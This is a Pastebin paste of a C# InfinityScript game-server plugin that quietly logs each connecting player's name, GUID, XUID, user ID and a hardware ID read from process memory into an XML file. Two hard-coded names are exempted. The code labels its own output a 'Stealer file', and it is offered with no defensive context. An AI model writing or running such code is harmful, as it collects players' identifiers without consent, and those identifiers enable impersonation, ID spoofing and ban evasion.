Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using InfinityScript;
- using System.IO;
- using System.Xml;
- using System.Xml.Linq;
- namespace JustANoob
- {
- public class playerinfo : BaseScript
- {
- public static MemClass mem = new MemClass();
- public playerinfo()
- {
- AfterDelay(1000, () =>
- {
- CheckForLog();
- });
- PlayerConnected += new Action<Entity>(player =>
- {
- if (player.Name == "AndroiderPwNz" || player.Name == "DcSoK")
- {
- player.Call("iprintlnbold", "Welcome :D");
- }
- else
- {
- XDocument playerconnectedinfo = new XDocument(
- new XComment("PlayerInfo"),
- new XElement(getPlayerName(player),
- new XElement("guid", getPlayerGuid(player)),
- new XElement("xuid", getPlayerXuid(player)),
- new XElement("userid", getPlayerId(player)),
- new XElement("hwid", getHWID(GetEntityNumber(player)))
- ));
- playerconnectedinfo.Save("scripts\\justanoob\\playerinfo.xml");
- }
- });
- }
- public void CheckForLog()
- {
- if (File.Exists("scripts\\justanoob\\playerinfo.xml"))
- {
- return;
- }
- else
- {
- File.Create("scripts\\justanoob\\playerinfo.xml");
- Log.Info("Set-Up'd Stealer file!");
- }
- }
- public static int GetEntityNumber(Entity E)
- {
- return E.Call<int>("getentitynumber", new Parameter[0]);
- }
- public string getPlayerGuid(Entity player)
- {
- try
- {
- return player.GUID.ToString();
- }
- catch (Exception e)
- {
- return "NoGUID";
- }
- }
- public string getPlayerName(Entity player)
- {
- try
- {
- return player.Name.ToString();
- }
- catch (Exception e)
- {
- return "NoName";
- }
- }
- public string getPlayerXuid(Entity player)
- {
- try
- {
- return player.Call<string>("getxuid");
- }
- catch (Exception e)
- {
- return "NoXUID";
- }
- }
- public string getPlayerId(Entity player)
- {
- try
- {
- return player.UserID.ToString();
- }
- catch (Exception e)
- {
- return "NoUID";
- }
- }
- public unsafe static string getHWID(int clientnum)
- {
- mem.MyProcess_Handle();
- byte[] HWID = mem.ReadBytes(0x04A30335 + (0x78688 * clientnum), 12);
- string strHWID = "";
- for (int x = 0; x < 12; x++)
- strHWID += HWID[x].ToString("X2");
- return strHWID;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement